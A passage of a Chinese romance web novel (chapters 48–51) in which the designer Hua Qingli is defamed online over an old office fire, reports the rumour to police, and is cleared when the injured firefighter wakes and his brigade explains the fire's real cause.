“哪有！”花清漓坐起身别过脸嘴硬反驳着，眼睛却不敢看他。 “哦，没有跑？”沈确将花清漓整个人朝怀里搂了搂，抬起头一手轻轻掐住她的下巴，迫使她低头看向自己的眼睛，“那你刚刚是在干什么？” “我……”花清漓一时语塞，眼珠转得飞快，想要想出一个有说服性的答案。 可不等她再开口解释，沈确抬手按住她的腰，俯身用一记深吻堵住了花清漓的唇。 48.48 翌日上午，花清漓在被窝里被渴醒。就在她坐起身准备去找点水喝的时候，又被沈确抬手揽住腰一把勾了回来跌坐在床沿。 “去哪？”沈确闭着眼问她。 “我渴了。”花清漓拿开他的手道。 “我去给你倒。”沈确翻身下床，去给花清漓倒来一杯温水。 花清漓沉默着接过杯子，将杯中的温水一饮而尽后，下床去浴室洗漱。 “我们晚上回申城，白天我陪你再到处逛逛？”沈确走到一旁换衣服，一边对花清漓道。 “好。”在浴室里洗漱的花清漓随意应了一声。 今日是个艳阳天，室外的温度温暖舒适。 花清漓换了身黑色的吊带长裙，披着黑色丝绸织金刺绣披肩外套，长发用发簪挽了个侧盘发。 “Gwen跟Esiason他们一早就出去玩了，今天你想去哪儿？”沈确替花清漓收拾好换下来的衣服道。 花清漓换上UmaWang的黑色芭蕾舞鞋，走到窗户边朝外面眺了一眼，看着远处的群山感叹道：“小时候在泉亭，长大了却在申城。这样好的景色，又要等好久才能看到了。泉亭我都玩腻了，没什么想去的地方。” “先去楼下吃早饭？”沈确穿着一件黑色风衣，上前从后面环住花清漓的腰问。 “嗯。”花清漓转身挽着沈确的胳膊出门，朝楼下的餐厅走去。 餐厅里用餐的人不多，花清漓到了餐厅，一样就看见坐在桌子旁摆弄着一台旧相机的Harvey。 花清漓让沈确先去点单，自己则来到Harvey面前问：“我和沈确一会儿能坐这吗？” “当然可以。”Harvey抬起头，将手里的那台旧相机放在桌子上。 “你吃过早饭了吗？”花清漓随口问道。 Harvey笑道：“我在等我哥呢，还没点单！他昨晚喝了点酒，半夜又说饿了，一个电话打过来把我吵醒。半夜三更，我陪着他到外面转了一大圈，吃了很多东西。距离现在也没过几个小时，我倒还不饿。” 花清漓点点头，又问：“你平常休假都干什么？也和你哥待在一起？不和你女朋友去逛街什么的？” Harvey听到“女朋友”三个字，双手把玩着桌上那台旧相机，嘴角勾起一抹苦涩的笑道：“我也想啊，只可惜没有这个机会了。” 花清漓不太懂，问：“怎么这样说？前年不是还说准备结婚吗？” 只见Harvey干笑了一声，低头双手摩挲着相机缓缓开口道：“她去年开春的时候，因为渐冻症去世了。” 意识到自己说错话的花清漓连忙开口道歉：“对不起啊，我不知道这件事……” Harvey却宽慰道：“没事，我本来就没提过这事，你们又不知道。你别放在心上。” 花清漓尴尬地垂下头，想要找一个新话题。 正好此时沈确买好了早餐走回来，顺便和Harvey打了个招呼。 “Freemon没和你一起下来？”沈确将早餐放在桌上，在花清漓身旁坐下问Harvey。 Harvey笑道：“他啊，昨天喝多了，还在睡呢。” “你们今天准备干什么？还泡温泉吗？”花清漓转移话题问Harvey。 “泡啊！我约了下午时段的！”Harvey低头看了一眼腕表上的时间道，“你们呢？” “没想好。”花清漓随手拿起桌上的一个奶黄包塞进嘴里。 沈确将一碗牛奶麻薯捧在手里，舀了一勺喂给花清漓。 只见花清漓尝了一口便推开沈确的手，说了句“太甜了，你吃吧”，转头就吃起了另一笼小汤包。 “就知道你不爱吃这个。”沈确自然地将那碗牛奶麻薯端到自己面前慢慢享用。 花清漓听到这句话，忍不住回怼道：“是你自己想吃甜食对吧？神经！” 沈确被骂也不还嘴，反倒笑嘻嘻地夹了一只蟹黄灌汤包喂给花清漓。 坐在两人对面的Harvey低着头刷着手机。很快，烟烟，Gwen与Mavis三个女孩有说有笑地从门外走进来。 “Evelyn！”烟烟捧着一枚松饼上前来，将手里的松饼掰了一半给花清漓，“尝尝！不会很甜，还挺好吃的！” “是嘛！”花清漓接过烟烟递过来的松饼，发现这是一个做成可爱卡通形象的红豆麻薯松饼，尝了一口，发现并没有想象中的甜，还挺好吃的。 “怎么样，好吃吗！”烟烟笑问。 “嗯。是挺好吃的。”花清漓说着，又咬了一口。 待手中的半个松饼吃完，花清漓才问Gwen：“你们一大早的去了哪？该不会就为了买这个松饼吧？” Gwen摆摆手道：“才不是呢，我们去坐船游湖了。回来去美食街逛了一圈，吃了芝士牛肉烤饼还有一份超大份的蒲烧厚蛋鳗鱼饭，真的特别大一碗，我们三个人一起吃才吃完。” 花清漓听完，笑着对沈确调侃道：“看吧，我就说没人来泉亭还想着吃本地菜！这些景区就没有本地菜的餐厅！” “Esiason和Freemon他们哥几个呢？”烟烟咬了一口手上的半块松饼问。 “Freemon昨晚喝多了，还在睡。Esiason不是跟你们一起出去玩了吗？怎么你们反倒来问我们了？”Harvey挠了挠头道。 就在这时，Gwen插话道：“Esiason说去周边新开的一家香水快闪店买支新香水，是Maison Margiela家的。Esiason一直很喜欢收集香水的啦。” “你对他的喜好还挺清楚的嘛。”Harvey插嘴道。 听到这句话的Gwen耳尖微微泛红，解释道：“哎呀，就是同事嘛，相处了一年多这点了解还是有的！” “就是同事嘛～”烟烟欠欠地模仿着Gwen害羞的样子，把在座的几人都逗笑。 “烟烟！”Gwen不好意思地轻轻推了她一把。 “好了好了，不说你了！”烟烟赶紧闭上嘴埋头吃东西。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 花清漓吃完早餐，无所事事地开始刷手机。只是她没有想到，却在一个营销号上刷到了关于自己的帖子： 【D社前创意总监Evelyn（中文名花清漓），在两年前D社大火中，明知已经起火却依然返回火场拿自己的设计稿。期间被困火场，前来救援的消防员周悟今先生，在看见被困的花清漓，将她带离火场的时候，被花清漓纠缠，不得不返回火场替她拿设计稿。周悟今重返火场就遭遇爆炸，因此重伤昏迷至今。而罪魁祸首花清漓，如今竟还能若无其事地开设工作室。请问花清漓女士，你应该知道当时那场火会有爆炸的危险，为什么还要让消防员去火场替你拿所谓的设计稿？难道设计稿比一条人命更加重要吗？投稿人作为当年在D社与你共事的员工，无意中翻到了当时火场留下的监控。他想了很久，才决定将此事公之于众，因为他觉得你欠周悟今先生一个道歉！这些年他一直帮你隐瞒这件事，让他的良心不安。最终选择将这件事投稿，希望你可以去向周悟今先生真诚地道歉。】 帖子的末尾顺便附上了一段火灾现场的监控录像视频。视频里只有花清漓重返火场拿完设计稿后冲出办公室的画面。 这篇帖子引导性很强，下面网友留言的评论很快将花清漓骂了几千楼。帖子的热度一下子被顶上了热搜。想也知道买了水军。 花清漓翻了翻自己的微博，发现自己发现新品宣传也被骂了几万条。 这倒不足以让花清漓感到伤心。 她起身叫上一旁的沈确，“陪我去公安局，报警。” 听到花清漓突然说要报警，沈确很快意识到问题的严重性。他站起来从花清漓手里抽出她的手机，在看了那篇帖子后脸色一下子冷了下来。 “好，我先带你去报警。”沈确说着，跟在花清漓身后就往外走。 留在原地的几人奇怪地目送两人离开。 “怎么了他们？突然那么严肃？”Mavis喝了口水问大家。 就在这时，正在刷手机的Harvey突然皱眉开口道：“刚刚突然有一篇帖子，说Evelyn在两年前的D社大火中，害得一位消防员遭遇爆炸昏迷至今。还放了一段监控视频，但是我看这监控也就只有Evelyn重返火场拿完设计稿后冲出办公室的画面。仅凭着点掐头去尾的录像就把消防员受伤的事推到她身上，还真是狠毒。现在帖子下面的评论全都是骂她的，还有在人肉她的。” “什么？”Gwen与Mavis、烟烟三人不敢相信地凑到Harvey身旁看他手机页面上的帖子。 “那场火灾不是电路老化导致的意外吗？当初Evelyn也是死里逃生，期间还把林言蹊给救出来了诶！她一向很冷静的，怎么可能会在那种情况下给专业的消防员添乱。”烟烟焦急道。她与花清漓共事那么多年，很了解花清漓的为人。虽然当年那场火灾发生的时候，她自己听到火灾警报后就先从安全通道下了楼。后来在安全区还看到花清漓扶着受了伤的林言蹊一起从大厦里出来。前后也不过相差了十几分钟。 49.49 花清漓与沈确二人用最快的速度收拾东西，借了Freemon的车先行返回申城。到了警局，在与警方说明情况后，正式立案调查。 在警局做笔录时，花清漓详细描述了当年火灾现场的案发经过。最终由警方查证过当时的完整监控视频后，证实花清漓与消防员周悟今的伤势并无直接关系。至于Donald为什么突然能占据那么大的流量把这件事顶上热搜，看来背后还有其他人在操作。双方商量过后，决定在查明这件事的来龙去脉之后再做公布。 离开警局后，花清漓疲惫地松了口气。手机的社交软件里源源不断收到侮辱性的私信，她坐在车里，将手机调成静音扔在后座。 两人回了家，花清漓就拿了电脑坐在沙发上看Donald的那篇帖子。 “我和Freemon说好了，等他们休完假，就把他的车开去泉亭接他们。”沈确说着，走到冰箱前从里面拿出一瓶酸奶递给花清漓。 “嗯。放着吧。”花清漓一双眼盯着电脑显示屏道。 花清漓登陆自己的各个社交平台，发现所有的平台私信都被各种侮辱性的内容占据。这些侮辱和谩骂她半点都没放在心上。她唯一担心的是，最近在谈的合作方因为这个事情拒绝与自己合作。那她接下来几个月都得靠沈确养了，这才是真正会让她崩溃的事。她虽然和沈确住在一起，但家里的开支，水电费等各种杂物费都是她出，衣食则是沈确来出。每个月的水电费、杂物费都远远高于衣食费用。花清漓从来不习惯一直依靠别人度日的生活方式。万一再因此牵连到Gwen他们就不好了。 她打电话联系上了线下公证处，在工作人员的指导下完成了电子证据的保全，最终以“公证书”的形式提交证据并且复制备份…… 接下来等警方查证后，就可以向法院起诉了。 做完这一切，已经是傍晚。花清漓疲惫地摊在沙发上休息。手机上依旧源源不断地传来私信提示音，花清漓烦躁地将手机调成静音震动模式，扔到一旁。 沈确在厨房给花清漓做晚餐。 他知道花清漓这会儿正烦着，没什么胃口，索性煮了两碗小馄饨。 安静的家里，只剩下手机里传来的消息提示音。 沈确将两碗小馄饨端上桌，对躺在沙发上的花清漓道：“过来吃点东西！” “烦着呢，没胃口。”花清漓抬起一只手烦躁地捂住眼睛道。 “那可不行，”沈确上前将花清漓一把从沙发上拉起来走到餐桌旁，“一日三餐还是要吃的，否则你又会和以前一样得胃病的。你忘了你以前胃出血的时候半夜三更进急诊挂了一个晚上的点滴吗？” 花清漓当然记得。那时的她还在D社，忙了整整两个月，每天只有饿得受不了了才会找点东西垫垫肚子。吃的不是饼干就是咖啡。结果在一天晚上加班的时候，胃疼得差点昏过去。还是当时和她一起加班的Esiason听见动静，帮她叫来救护车送她去了医院。 “唉。”花清漓无奈地叹了口气，在餐桌旁坐下，接过了沈确递来的勺子开始吃馄饨。 沈确收拾好厨房，出来坐在了花清漓的对面和她一起用餐。 “你觉得那篇爆料的帖子是谁发的？我觉得Donald的可能性比景爷大，除了他们俩我想不出来谁会这么恨我、还对我用这么下作的手段。”花清漓吃了一口馄饨对沈确道。 “也是，他们俩蛇鼠一窝，没有景爷在后面顺水推舟，这件事不可能这么顺利就能闹出那么大动静。”沈确蹙眉道。 两人一边吃着馄饨，一边刷着手机上的新闻。 就在这时，花清漓看见Donald顶着带有DH&D总策划认证的账号，转发了那篇爆料帖，并附言： 【我作为Evelyn曾经的上司，与她共事近四年的时间，我一向了解Evelyn的为人。我相信这件事Evelyn一定不是故意的。毕竟她作为一个普通人，遭遇火灾时第一时间带着自己设计稿逃离火灾现场，这纯属本能的自救措施。但当时我们工作室的所有人都知道隔壁家放了易燃易爆的杂物，Evelyn应该是忘记告诉消防员这一点，先行从安全通道离开了。作为曾经的上司，我代Evelyn向消防员周悟今先生致歉。】 看完这则帖子，花清漓被Donald的厚颜无耻弄得无话可说。 她就知道是Donald搞得鬼！ 一时间，网上对花清漓的谩骂更加激烈。 花清漓将Donald这篇新发的帖子作为电子证据再度保存，随后就将手机关机扔到一边不打算再理会。 沈确吃完馄饨刚放下碗，手机上就响起了来电铃声。他拿起手机看了一眼，发现是花清漓的母亲花曦芷打来的电话。 “你关机了？”沈确将自己的手机递给花清漓，“伯母打来的，应该是找你。” 花清漓纠结地接过手机，丝毫没有想接电话的意思。一边怕被妈妈骂，一边又很希望妈妈打来的这通电话可以是安慰就好了。 沈确知道花清漓这是怕被妈妈骂，开口安慰道：“别怕，我来接好了。” 他说着，接通了花曦芷打来的电话。 在电话被接通后，两人听见花曦芷在对面用愠怒的语气问：“沈确，花清漓现在和你对吧？叫她接电话！” “伯母，”沈确撇了身旁的花清漓一眼才道，“您是因为网上的事打来的？那件事是造谣，消防员受伤是个意外！我们已经报警了……” “少废话，把手机给花清漓。”电话那头的花曦芷冷声命令道。 沈确听她的语气，心中顿时生出一种不好的预感。 在花曦芷的再三命令下，花清漓接过了沈确手里的电话应了声“听到了”。 谁料花清漓话音刚落，花曦芷便破口大骂道：“你这个没用的东西，我不是告诉过你凡事都要注意别给人留下把柄吗？这么一点小事都处理不好，居然不知道提前找借口去查监控看看有没有对自己不利的画面存留？你知不知道因为你的原因，我的舞蹈教室外面也全是记者，连我的接下来的演出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都被停了。你知不知道我为了这次演出准备一整年，结果就这么被叫停了。这一切都是因为你！这么点小事都处理不好，你这个废物。” 花曦骂完，绝情地挂断了电话。 经过妈妈的一番贬低与指责，花清漓原本期盼可以得到妈妈安慰的心在一瞬间破碎。 花清漓突然鼻子一酸，胸口像被一块巨石狠狠地挤压着，越来越喘不上气。握着手机的手僵在了半空中，指关节也因为太过用力而失血泛白。 “花清漓，你没事吧？”注意到她状态不对，沈确意识到她可能是焦虑症发作。 “我现在就打电话叫救护车！”沈确拿过花清漓手上的手机，马不停蹄地拨通了120，说明了花清漓的症状和家里地址。 沈确在医护人员的指导下，找来了一个纸袋套在花清漓的嘴巴上，让呼出的二氧化碳重新回到体内。以此增加体内二氧化碳的吸入。 经过沈确的急救，花清漓的症状终于得以缓解。 花清漓的呼吸逐渐变得平缓。她抬手拿掉面前的袋子，脸色苍白地靠坐在沙发上。 沈确和医护人员道了谢，挂断电话对花清漓道：“早知道不让你接电话了，你差点没吓死我。” 花清漓没力气接话，只是麻木地在沙发上躺下，闭上了眼。 沈确找来一张毯子给花清漓盖上，随后坐在她身旁的沙发上陪她。 同时，沈确拿着花清漓的手机开始翻看她微信里收到的信息。 Gwen说看到了Donald发的微博后，就用自己的工作室认证账号替花清漓发了声明。 工作室另外几个员工作为曾经火灾的当事人，纷纷替花清漓发声反驳Donald。除了新来的Una、虞归晚、林月明三人因为不了解当时D社火灾的具体情况，因此没有立场发言。 接下来的一周，花清漓不是没有想过要回工作室上班，只可惜最近的项目不是被单方面解约，就是用各种借口暂停项目。所谓的“暂停”，只要这件事没有解决，那么这个项目的暂停时间将会被无限期地延长。 两天后的上午，花清漓在工作室接到了爸爸打来的电话。 本以为又要遭受一次爸爸的训斥，却没想到她听到的第一句话就是：“梨梨，听沈确说你焦虑症发作了？” 花清漓举着手机，疲惫地回答道：“他怎么什么都跟您说。” 墨松寒叹了口气，继续道：“你妈妈又打电话来骂你了是吧？你别理她。你也知道你妈妈把自己的事业看得比任何事情都重要。她最近在外面演出，结果刚才散场的时候被记者围着问了很多讨厌的问题。她生气了才会口不择言。你别把她的话放在心上。报警了吗？” “报警了，我取了证交给警方，目前警方还在调查。应该就快出结果了。”花清漓坐在椅子上有气无力道。 “那就好。”墨松寒宽慰道，“别怕啊。这两天你先好好休息，我让沈确好好照顾你。等警方查出来是谁在操纵这件事，我会帮你找一个好律师帮你打赢官司。” 50.50 挂断电话，花清漓疲惫地靠在转椅上休息。 办公室的门被敲响。进来的是Freemon。 “这是这一期的销售数据报告，从Donald发微博那天开始，稍微跌了一点。但不多，在我们的预计范围之内。”Freemon将手里的平板递给花清漓道。 “这个数据，让Donald在买水军骂我这件事上显得更加可笑了。”花清漓接过平板，仔细查看了一下这一期的销售数据报告，比自己预想中的情况要好得多。 Freemon在花清漓的办公桌对面坐下，问：“警方那边有线索了吗？是不是Donald在操控这件事？” 花清漓抬手揉了揉太阳穴道：“警方还没跟我联系呢。至于Donald，等警方那边查出来，他就一定会被拘留。他太想整死我了，在网上那么明目张胆地带节奏，证据一抓一大把。我已经全部保存留作证据了。” “他把消防员受伤的事也算到你头上，要不是消防员现在还在昏迷，他肯定也可以为你澄清。Donald就是仗着消防员昏迷，没法替你说话才这么肆无忌惮地利用他。实在是太可恶了。”Freemon愤愤不平道。 “两年了，也不知道周先生什么时候能醒过来……”花清漓的话音刚落，思绪便被手机来电铃声打断。 她拿起手机，发现是自己给周悟今请的护工打来的。 自从两年前D社遭遇大火之后，花清漓在得知救了自己和林言蹊的消防员周悟今遭遇爆炸被烧伤昏迷，花清漓时常会去医院看望他。后来又得知周悟今父母早年去世，除了消防队的战友们之外没有别的亲人后，花清漓特意为他请了护工贴身照顾他。这两年周悟今的住院费和护工的费用，也都是由花清漓与消防站的人一起出的。 花清漓接通了护工的电话，却听见对面的人激动地对自己道：“花小姐，人醒了！他醒了！我看见他睁开眼了！医生也来过了！” 什么？周悟今醒来了！ 花清漓难以置信地对着手机里问：“真的吗？他真的醒了吗？醒了多久了？他的伤最近好些了吗？” 护工在电话里回复道：“他确实睁开眼了，现在正看着我呢！花小姐你要过来看望他吗？消防部的人也来看他了！” “嗯！我现在就过去！”花清漓挂断电话，脸上全是欣喜。 太好了，时隔两年，周悟今终于醒过来了！ 花清漓拿上手机，飞快的冲下楼拦了一辆出租车抵达了医院的烧伤科住院部。 她来到周悟今的病房外，她没有看见消防部的人，只看见好几位医护人员围在他的病床边讨论着他的情况。 花清漓站在敞开的病房门口，迟迟不敢迈进去。 待医护人员陆续离开，花清漓才缓缓走进病房。 她看见满身疤痕的周悟今躺在病床上，睁着眼正在看着自己，张了张嘴，似乎想对自己说些什么。 花清漓走近病床时，周悟今艰难地朝她抬起手。花清漓下意识地上前握住了他的手。 只听周悟今张开嘴，勉强地发出了一句沙哑的声音：“谢谢你……来看我……我，我前几次醒来的时候，听说了网上的事。那不是你的错。” 花清漓瞪大眼睛看着周悟今，她没想到周悟今醒来第一句话竟然是安慰自己。 花清漓不敢相信地笑了一声，眼眶却已开始发酸。她深吸了一口气才道：“对不起。我不知道当时里面有会引起爆炸的危险物品……” 周悟今闭上眼摇了摇头，道：“我会跟警方说明当年的事情经过，也会让同事帮忙录一个视频替你澄清。我不希望无辜的人因为一场两年前的意外再被不知情的人侮辱谩骂。” 他说完，病房的门被人敲响。 花清漓起身前去开门，却看见门口站着的是一队消防员。这些人都眼熟花清漓，看到她比自己先到，脸上有些惊讶。 带头的消防队长手里拿着一束花，先跟花清漓打了个招呼：“花小姐，没想到你比我们先到。” 花清漓尴尬一笑，说了句“抱歉，我在这里好像会打扰你们，我先走了！”就准备离开。 不料没走远几步便被队长叫住：“花小姐，麻烦稍等一下。” 花清漓闻言缓缓转身看向队长，听他道：“最近网上的事，我们会听完作为当事人小周的描述再召开记者会。其实在这之前，我来看望小周的时候，和他聊起过你。当时就听见过他请求我告诉你，那场火灾的爆炸，是一个意外。让你不用对他愧疚。作为消防员，我们最先考虑的，当然是人民群众的安全。那场火灾的救援行动是我指挥的，其实我也有错。如果我能尽早了解楼层的电路问题，我想就不至于让我的战友受如此重伤。” 听完消防队长的话，花清漓没有说话，只是朝着他缓缓鞠了一躬，沉默着离开医院。 走出医院大门，一缕温暖的阳光落在花清漓身上。她抬头看了一眼天空，阳光一点一点驱散了原本的乌云层，露出了湛蓝色的天空。 她深吸了一口气，准备离开医院，却被从门口缓缓朝自己走来的沈确吸引。 沈确穿着一套黑色的休闲西装，外套搭在手臂上。 “你怎么来了？”待沈确走近，花清漓忍不住将他上下打量了一番。 “我来替警方转达一个好消息给你。”沈确道，“Donald已经因为造谣而被拘留了。警方也已经公开发布了整件事的来龙去脉，还你清白了。至于网上那些污言碎语，目前能看到的，已经全部被我清理干净了。那几个被买通的营销号大V，带节奏说的话太恶心，顺便也被我一并封了。” “你怎么封的营销号啊？没听说过你认识什么互联网公司的朋友啊。”花清漓惊讶道。 沈确勾勾嘴角，刷了刷手机道：“我还真有互联网的人脉！” 花清漓看向沈确奇怪道：“之前怎么没听你提起过？ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “因为，这个人脉就是我哥的朋友。我求我哥帮忙请他封的营销号。”沈确解释道。 “原来是沈行哥哥的朋友。”花清漓呢喃道。 “走吧，”沈确牵起花清漓的手，“我们回家吧。” 当天傍晚，申城消防的官博就替周悟今开启了一场名为“两年前D社大火真相”的直播。 直播开启的一瞬间，直播间就挤满了观众。 花清漓收到消防官博的直播提醒，毫不犹豫地点进了直播间。 只见坐在直播镜头前的，正是今日在医院见过的那位消防队长。 “大家好，我是申城消防大队的队长。最近我们消防站也注意到了网上对于两年前Ｄ社大火事件的谣言。今天，由于我的战友周悟今终于从昏迷中苏醒，但伤势还没完全恢复，于是委托我这个队长，来替他直播。”镜头前的消防队长说完这段话，还将手里的镜头切向了病床上的周悟今，拍到了他艰难地抬起手朝着镜头打招呼的一幕。 也正因如此，直播间的弹幕上又开启了对花清漓的谩骂。 消防队长看到弹幕后，开口道：“当年D社大火现场我就是救援总指挥。当时的火灾，其实是由楼层电路问题引发的。但一开始我们只以为是仓库楼层中储存的易燃易爆物品，因不规范存放而导致的火灾。而火灾发生期间，原本只要有自动消防洒水装置，是不至于引发爆炸的。但自动消防洒水装置在这场火灾中并没能及时启动。我们在灭火后前去排查起火点时，发现整栋楼的消防洒水系统都被保鲜膜封住了。这才是导致火势蔓延的根源所在。与花清漓小姐无关。 至于D社大火的第一次爆炸，正是因为洒水系统被封死，火点燃了易燃易爆物品才发生了第一次爆炸。而花清漓小姐已在第一次爆炸后先行离开了D社大楼。作为消防员，我们自然而然地会选择让群众在安全的情况下尽快撤离危险地带。 因此，在把所有困在火场中的群众救出后，这场火在后续的救援行动中持续烧了两个小时，共发生了两次爆炸。火灾发生后，我们第一时间组织了人员进入大楼灭火。消防员周悟今就是其中之一。 我们的消防员进入大楼后，发现了大楼内部存在违章建筑，正是这些违章建筑切断了整栋大楼的消防洒水系统。也正是因此，第一次爆炸发生时，我们的两位消防员同事因此受了伤。在第二次爆炸时，消防员周悟今离原爆点最近。他首先推开了身边的同事，用自己的身体保护了同事们的性命。周悟今战士因此被严重烧伤昏迷，住院时间长达两年。这就是整个事件的真相。用周悟今战士的话来评价该事件那就是——＇为了群众的安全而付出生命是作为消防员的我们至高无上的荣耀''。希望经过今天的这场直播，可以还花清漓小姐一个清白。至于是谁在散播花清漓小姐害消防员重伤的这种谣言，我们消防部门也不会做事不管。我们非常支持花清漓小姐报警维权。祝花清漓小姐维权旗开得胜。” 51.51 经过消防部门官方的澄清，对花清漓的网暴终于逐渐停止。 Donald作为整个事件的主谋，已被警方拘留。 花清漓觉得这件事离不开景爷的推波助澜，只是没想到他居然又把自己撇得一干二净，真不愧是景爷。 经此一事，先前停止的合作逐渐重新回到了花清漓的手中。 两天后，花清漓在工作室整理最后一仓人偶时，Freemon捧着平板来到她身旁道：“Evelyn，最近有玩家留言说想要你能再出一个全新的人偶系列。你有什么想法吗？” “童话、自然、机械朋克”这三种元素已经做过了，还有什么可以拿来作为人偶的形象创意元素呢？ 花清漓一时没有什么灵感，只好摇头道：“我最近没什么想法。我看我这两天找时间出去采风，看看能发现什么有意思的东西吧。” “那你想去哪里采风？”Freemon问。 “还没想好呢！”花清漓叹了口气道，“我这两天又得出去晃一晃。你们配合归归和明明把最近一期的订单尽快完成。然后我们再一起讨论新人偶的设计。” “好。”Freemon收到任务，捧着平板离开花清漓的办公室。 花清漓瞥了一眼窗外的天空，许久不见的太阳终于露了面。 到了中午，花清漓约了沈确一起去楼下的一家餐厅吃饭。 偌大的餐厅里，花清漓和沈确面对面坐着用餐。 “你是不是打算着手准备新人偶系列的设计？”沈确随口问花清漓。 “嗯，”花清漓举起水杯喝了一口白开水，继续道：“不过我还没想好做什么主题。你想给我一点新的意见吗？” 沈确笑了一声，道：“意见嘛，我提了你也不一定会感兴趣。你不是一直很有自己的想法吗？怎么这一次倒问起我的意见了？” 花清漓叹气道：“任何创作者都有可能在任何时刻遇到瓶颈期，你们做潮玩不也一样吗？” “是是是！”沈确认同地点头道，“所以你现在遇到了创意瓶颈？” “可以这么说。”花清漓为难地看向沈确道。 两人沉默着，继续用餐。 花清漓思考片刻，道：“我应该找个地方采风去。” “想好去哪了吗？”沈确道。 花清漓翻开手机，随意在社交平台上搜索申城的假期好去处。 平台推荐的第一则笔记就是一个桃花山谷。山谷里满是桃花，清澈的小溪蜿蜒流淌。十分有意境。 “我感觉这里不错啊。”花清漓将手机递给沈确道。 沈确查询了一下帖子上的定位，发现这里距离市中心比较远，开车过去大概要半个小时。 “你想去这里转转吗？”沈确问。 “好啊！”花清漓点点头，“我跟工作室里的同事们说一声，然后我们再打车过去。” “也好。”沈确赞同道。 两人吃完饭，各自向自家工作室请了假出外勤。 坐在车上时，花清漓刷着手机给沈确找出了导航。 “去看一眼就回来吧，咱们也不知道那里现在怎么样。”沈确道。 “我来开？”花清漓看沈确一上车直奔副驾驶的做派道。 沈确自顾自地系好安全带道：“你又不是不会开车。况且，据我所知，你开车路子比我野多了。” “是这样没错，但是你知道我一摸到方向盘就会没有素质。”花清漓反驳道，“你要是不介意的话我当然可以开。” “那就开吧！”沈确笑笑，将车钥匙塞到花清漓手里。 “那行！”花清漓接过沈确的车钥匙，和他一起到了地下停车场。 上车后，花清漓熟练地发动了车，然后驶出了地下停车场。 花清漓开着车行驶在市中心的马路上，车流众多难免堵车。 堵车倒没什么，但花清漓讨厌的是一点一点往前挪。这油门刚点上都没开始跑就得停下，烦都烦死了。还有后面不断响起的催促的喇叭声，让花清漓更加心烦。 最终，花清漓实在没忍住骂了出来：“吵什么吵，真是烦死了。这群男的会不会开车，堵成这样也好意思按喇叭。也不看看自己是个什么东西，开的什么破车。吵死了。” 沈确难得听到花清漓这样骂人，觉得有点好笑。他别过脸看向窗外偷笑，免得被花清漓发现了被她一起骂。 时间一分一秒地过去，花清漓一路骂骂咧咧地开过了这条拥挤的马路。 之后一路上，花清漓都皱着眉，连带着车速也不自觉地加快了不少。 到达那个所谓的桃花山谷外的时候，比预计抵达的时间快了五分钟。 两人将车停在公园外的停车场里，却远远地就看见山谷门口的桃花树尽数枯萎。 “是这里没错……吧？”花清漓看着眼前的“桃花谷”，不太确定地看了一眼导航上的地图。 这是鬼地方？桃花枯萎得不成样子，连不远处地上的土壤也都是烂泥。一阵风缓缓刮过，空气里弥漫着的是一股刺鼻的化学药剂的气味。 花清漓关上车窗，那股刺鼻的气味确已沾在了她的衣服上。 “说实话我有点后悔过来了。”花清漓失望地扯了扯自己的衣服，“咱们还是走吧。” “好吧。”沈确随手打开了车上的空调。 随着花清漓再次发动车子返回市中心，沈确坐在副驾驶座上，看着窗外的风景问：“满心期待地出来散心结果却看到了这样一番景象很失望吧？” “当然失望！”花清漓头也不回地回答道，“特别是来的路上还堵，唉。” “那我们去别的地方走走？”沈确提议道。 “你想带我去哪？”花清漓看向沈确问。 沈确看着路边的停车点，提议道：“换我来开吧，直接带你过去。” “那好吧。”花清漓没有拒绝。环顾四周，找了个适合停车的场地下车和沈确换座位。 待两人互换了座位，沈确侧身替花清漓系好了安全带。 花清漓看着沈确，忍不住再次问道：“你到底想带我去哪？” “就带你出去放松 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一下，找个商场陪你买点玩具怎么样？”沈确笑道。 “陪我买玩具？”花清漓也被逗笑，“你准备给我买什么玩具呢？” 沈确头也不回地发动车子，调笑道：“那就要看用在哪里了，你说是不是？” 花清漓抬手轻轻打了沈确一下，骂了句：“正经点吧你！” 两人一路斗嘴，回到了市中心。 “去新天地逛手办店怎么样？”沈确提议道。 “好啊！”花清漓早就听说附近的区域开发了一个叫“新天地”的大型商场。像沈确所在职的那个潮玩品牌，就入驻了这个商场开设了实体店。 “你们公司在哪里有实体店对吧？你这次带我过去，该不会就是为了让我看你的设计吧？”花清漓随口打趣道。 “怎么，不可以吗？”沈确笑道。 花清漓抬手勾勾鬓角，“你的设计，在家不是都看过吗？你不是每次上新之前都留一个给我放在家里玩嘛。家里都要放不下了，我们家里全是各种各样的玩具。” “家里大尺寸的是留给你玩的，这些小盲盒是拿来卖钱的，能一样吗？”沈确二话不说将车拐进了“新天地”的地下停车场。 “这边我自己也是第一次来，”下了车，沈确才对花清漓道，“你就当是陪我了，不行吗？” 花清漓自然不会拒绝沈确。秉持着“来都来了”的道德，她任由沈确牵着走进了商场。 说实话，花清漓以前一直不太喜欢逛这种地方。一方面是工作忙，来这种地方大多也是在OAK那样的线下代理人偶社看了解最近的销售情况。另一方面是觉得这种地方除了买东西之外并没有什么特别的意义，而花清漓正好是那种不爱逛街的人。不管是买衣服鞋子还是化妆品，她都会到对应的买手店里去买，很少会来商场里买这些东西。 “你觉得这次Donald被拘留后，会不会安分一点？”沈确拿起货架上一只蜡笔小新马克杯捧在手里一边观赏一边对花清漓道。 花清漓拿起货架下方的一只咸鱼小新抱枕道：“他会安分，但恐怕景爷会坐不住。他们俩都是同一种人，就是看不惯女人比自己强。以前在D社还是在DH，他们俩都被我的业绩压得死死的，当然巴不得我永远翻不了身。不知道景爷又打算干什么。我也不想去揣测。到时候再见招拆招吧。我怎么可能猜得到一个男人为了搞垮我一个女人到底用的出多么下作的手段呢。” 她说完，将手里的咸鱼小新抱枕捧到沈确面前问：“可爱吧！我们买这个吧！” 沈确接过花清漓手里的抱枕，“好，买～”。 “关于新系列人偶的设计，你有什么新想法吗？”沈确跟在花清漓身后，接过她塞进自己手里的各种蜡笔小新玩具。 